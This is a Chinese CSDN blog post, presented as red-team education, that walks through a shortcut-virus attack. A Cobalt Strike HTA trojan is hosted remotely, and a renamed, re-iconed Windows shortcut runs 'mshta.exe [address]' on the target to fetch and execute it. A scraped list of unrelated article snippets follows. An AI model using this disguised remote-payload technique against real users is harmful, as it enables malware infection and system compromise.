[红队apt]快捷方式病毒攻击流程
免责声明:本文整理攻击者操作，帮助了解攻击原理，提高防范能力
前言
欢迎来到我的博客
个人主页:北岭敲键盘的荒漠猫-CSDN博客
本文整理攻击者是如何用快捷方式进行攻击的流程
快捷方式攻击原理
快捷方式可以指向执行某个程序。
我们利用快捷方式攻击的原理是让快捷方式启动windows自带的脚本远程访问，下载我们的木马实现攻击。
具体流程:
cs生成一个hta木马，然后给服务器上托管。
之后对方机器上创建一个快捷方式，启动命令访问那个下载地址下载后直接上线。
具体攻击流程
生成hta文件
生成
放到cs上托管
然后运行上他。
之后会给你地址，让你用的时候复制
然后在目标机子上传入这个快捷方式
快捷方式指向地址如下。
C:\Windows\System32\mshta.exe [刚刚的地址]
改个名
还能改图标
点一下
攻击成功!
相关文章：
[红队apt]快捷方式病毒攻击流程
免责声明:本文整理攻击者操作，帮助了解攻击原理，提高防范能力 前言 欢迎来到我的博客 个人主页:北岭敲键盘的荒漠猫-CSDN博客 本文整理攻击者是如何用快捷方式进行攻击的流程 快捷方式攻击原理 快捷方式可以指向执行某个程序。 我们利用快捷方式攻击的…...
一个架构师的职业素养：四种常用的权限模型
你好，我是看山。 本文收录在《一个架构师的职业素养》专栏。日拱一卒，功不唐捐。 今天咱们一起聊聊权限系统。 以大家熟知的电商场景举例： 用户可以分为普通用户、VIP用户：我们需要控制不同角色用户的访问范围。比如，京东的PLUS会员，可以进入会员专区，而且能够使用礼金…...
说起来很简单，做起来很复杂：解密Chat GPT背后的原理与技术
你或许已经体验过ChatGPT，它能快速回答各种问题，生成文案、编写代码，甚至陪你聊些有趣的话题。看似简单易用，背后却隐藏着强大的技术支持。 输入几句话，ChatGPT仿佛“理解”了你的问题，立即给出准确的回答…...
tcpdump-arm平台移植
准备工作 下载并解压 972 mkdir tcpdump973 cd tcpdump/974 ls975 wget https://www.tcpdump.org/release/tcpdump-4.99.5.tar.xz976 wget https://www.tcpdump.org/release/libpcap-1.10.5.tar.xz977 tar -xvf libpcap-1.10.5.tar.xz978...
LabVIEW中的非阻塞定时器
在LabVIEW编程中，通常需要在某些任务执行过程中进行非阻塞的延时操作。例如，显示某条信息一段时间，同时继续执行其他任务，并在延时时间结束后停止显示该信息。这类需求通常用于处理优先级不同的信息显示，如错误信息需要…...
MIDIPLUS 50周年丨中国国际乐器展览会首日盛况
10月10日，由中国乐器协会、上海国展展览中心有限公司、法兰克福展览（上海）有限公司共同主办的中国（上海）国际乐器展览会在上海新国际博览中心（上海市浦东新区龙阳路2345号）盛大开幕。 2024上海…...
基于springboot的家政服务管理系统（含源码+sql+视频导入教程+文档+PPT）
👉文末查看项目功能视频演示获取源码sql脚本视频导入教程视频 1 、功能描述 基于springboot的家政服务管理系统1拥有三种角色 管理员：用户管理、服务管理、评价管理、预约管理、分配管理等 用户：登录注册、预约服务、取消服务、评价等 服…...
第十四届单片机嵌入式蓝桥杯
一、CubeMx配置 （1）LED配置 （1）LED灯里面用到了SN74HC573ADWR锁存器，这个锁存器有一个LE引脚,这个是我们芯片的锁存引脚（使能引脚），由PD2这个端口来控制的 （2ÿ…...
Zotero 如何实现数据同步 坚果云
如何在Zotero中设置webdav连接到坚果云？ | 坚果云帮助中心...
基于Redis实现的延迟队列
1. 适用场景 日常开发中，我们经常遇到这样的需求，在某个事件发生后，过一段时间做一个额外的动作，比如 拼单，如果2小时未能成单，取消拼单下单，30分钟内未支付，取消订单 之前的我们的…...
LINUX——内核移植、内核编译教程
Linux内核编译是一个将内核源代码转换成可在特定硬件架构上运行的二进制文件的过程。以下是编译Linux内核的一般步骤： 1、准备工作： 确保安装了必要的编译工具，如gcc、make、ncurses库（用于make menuconfig）等。 2、…...
《OpenCV计算机视觉》—— 用于执行图像透视变换的两个关键函数
文章目录 cv2.getPerspectiveTransformcv2.warpPerspective注意事项 cv2.getPerspectiveTransform 和 cv2.warpPerspective 是 OpenCV 库中用于执行透视变换的两个关键函数。下面是对这两个函数的详细解释： cv2.getPerspectiveTransform 功能：计算从源…...
uniapp使用字体图标 ttf svg作为选项图标，还支持变色变图按
在staic目录下有一些ttf文件，如uni.ttf，iconfont.ttf 这些文件中保存这字体svg的源码们，我们也可以在网上找其他的。这些就是我们要显示的突图标的 显示来源。这样不用使用png图标，选中不选中还得用两个图片 我的具体使用如下 &q…...
＜Project-6 pdf2tx＞ Python Flask 应用：图片PDF图书的中文翻译解决方案
重要更新！ Modified on 8oct24. P6已经被 P8 替代，后着支持多任务，多翻译机。在速度与资源占用上，都好于这个P6。 新的 P8 文章链接： ＜Project-8 pdf2tx-MM＞ Python Flask应用：在…...
10.11Python数学基础-多维随机变量及其分布
多维随机变量及其分布 1.二维随机变量及其分布 假设E是随机试验，Ω是样本空间，X、Y是Ω的两个变量；(X,Y)就叫做二维随机变量或二维随机向量。X、Y来自同一个样本空间。 联合分布函数 F ( x , y ) P ( X ≤ x , Y ≤ y ) F(x,y)P(X≤x,Y≤…...
（四）Mysql 数据库备份恢复全攻略
一、数据库备份 数据库备份目的和数据库故障类型 目的： 当发生故障时，将损失降到最低。保证能够快速从备份数据中恢复，确保数据稳定运行。故障类型： 程序错误：Mysql 服务器端程序故障无法使用。人为误操作：…...
在MySQL 8.0中，如何更好地管理索引以节省空间和提高查询效率？
1. 索引选择与设计 选择合适的列：确保索引覆盖的列是经常用于查询条件、排序或连接操作的列。避免冗余索引：检查并移除重复或不必要的索引。例如，如果已经有一个 INDEX(a, b)，那么单独的 INDEX(a) 可能是多余的。使用复合索引&am…...
图形化编程（013）——“面向鼠标指针”积木块
知识回顾 1、舞台和坐标的知识 2、使用坐标控制角色移动 一句俗语：大鱼吃小鱼，小鱼吃虾米，感觉挺有意思的。 这句话说明了自然界中的生存法则，本次分享我与大家共同做一个大鱼吃小鱼的作品。 案例解说： 点击绿旗…...
【Spring】Spring Boot项目创建和目录介绍
文章目录 1 Spring Boot 介绍2 Spring Boot 项目创建注意事项 3. 项目代码和目录介绍pom 文件父工程目录介绍 1 Spring Boot 介绍 Spring 让 Java 程序更加快速、简单和安全，Spring 对于速度、简单性和生产力的关注使其成为世界上最流行的 Java 框架 Spring 官方提…...
第十二章 RabbitMQ之失败消息处理策略
目录 一、引言 二、RepublishMessageRecoverer 实现 2.1. 实现步骤 2.2. 实现代码 2.2.1. 异常交换机队列回收期配置类 2.2.2. 常规交换机队列配置类 2.2.3. 消费者代码 2.2.4. 消费者yml配置 2.2.5. 生产者代码 2.2.6. 生产者yml配置 2.2.7. 运行效果 一、引言 …...
别再手动刷纹理了！用Blender 3.6的镂版映射，5分钟给苹果模型贴上真实贴图
别再手动刷纹理了！Blender 3.6镂版映射实战指南 在数字艺术创作中，给3D模型添加纹理是赋予物体真实感的关键步骤。许多Blender初学者在掌握了基础UV展开后，往往会陷入手动绘制纹理的低效循环——用笔刷一点一点"涂抹"贴图ÿ…...
深度解析：如何让你的飞控代码轻松跑在不同芯片上？)
ArduPilot硬件抽象层(HAL)深度解析：如何让你的飞控代码轻松跑在不同芯片上？
ArduPilot硬件抽象层(HAL)深度解析：跨平台飞控开发实战指南 当开发者尝试将ArduPilot移植到一块全新的飞控板时，最常遇到的挑战莫过于如何让同一套控制算法在不同硬件架构上无缝运行。这正是硬件抽象层(HAL)设计的精妙之处——它如同一位技艺高超的翻译官…...
番茄小说下载器终极指南：如何轻松下载EPUB、TXT和有声小说
番茄小说下载器终极指南：如何轻松下载EPUB、TXT和有声小说 【免费下载链接】Tomato-Novel-Downloader 番茄小说下载器不精简版 项目地址: https://gitcode.com/gh_mirrors/to/Tomato-Novel-Downloader 你是否曾经在番茄小说上找到一部精彩的作品，…...
影像技术实战11：视频封面生成黑屏、模糊、重复？FFmpeg + OpenCV 构建高质量缩略图自动优选方案
影像技术实战11：视频封面生成黑屏、模糊、重复？FFmpeg OpenCV 构建高质量缩略图自动优选方案 一、问题场景：封面不是“随便截一帧” 在视频平台、素材管理系统、内容审核后台、AI 剪辑工具里，视频上传后自动生成封面是一个很常见…...
如何用Lano Visualizer打造智能音频可视化桌面：从音乐爱好者到专业用户的完整指南
如何用Lano Visualizer打造智能音频可视化桌面：从音乐爱好者到专业用户的完整指南 【免费下载链接】Lano-Visualizer A simple but highly configurable visualizer with rounded bars. 项目地址: https://gitcode.com/gh_mirrors/la/Lano-Visualizer 你是否…...
小米路由器4A千兆版刷机翻车实录：从Breed救砖到完美刷入Padavan固件全记录
小米路由器4A千兆版救砖实战：从硬件识别到Padavan固件完美适配 深夜的台灯下，我盯着桌面上那台已经变砖的小米路由器4A千兆版，USB转TTL模块的指示灯微弱地闪烁着。这已经是本周第三次尝试救砖了——前两次要么是夹子接触不良导致校验失败&…...
OpenClaw从入门到应用——工具（Tools）：技能配置
通过OpenClaw实现副业收入：《OpenClaw赚钱实录：从“养龙虾“到可持续变现的实践指南》 所有与技能相关的配置都位于 ~/.openclaw/openclaw.json 中的 skills 字段下。 {skills: {allowBundled: ["gemini", "peekaboo"],load: {ext…...
同步、异步与互斥：从通用OS到RTOS的全面解析
一、基础概念：进程与线程1.1 什么是进程？进程是操作系统进行资源分配和调度的基本单位，是一个正在运行的程序实例。1.2 什么是线程？线程是操作系统进行CPU调度的基本单位，是进程内部的一条执行路径（轻量级进…...
不止.htaccess：盘点文件上传漏洞中那些‘借壳’执行的奇技淫巧
文件上传漏洞中的"借壳"执行艺术：超越.htaccess的攻防博弈 在Web安全领域，文件上传功能就像一扇半开的门——它为用户提供便利的同时，也为攻击者创造了可乘之机。当开发者试图通过简单的黑名单过滤来阻挡恶意文件时，攻击…...
保姆级教程：用Unity+OpenCVSharp插件实现摄像头实时轮廓检测与交互（附完整C#代码）
Unity与OpenCVSharp实战：从摄像头捕捉到交互式轮廓检测全流程解析 在游戏开发与计算机视觉的交叉领域，实时图像处理正成为增强玩家沉浸感的新 frontier。想象一下：玩家只需在摄像头前挥动手势，游戏中的角色就能同步做出反应&#…...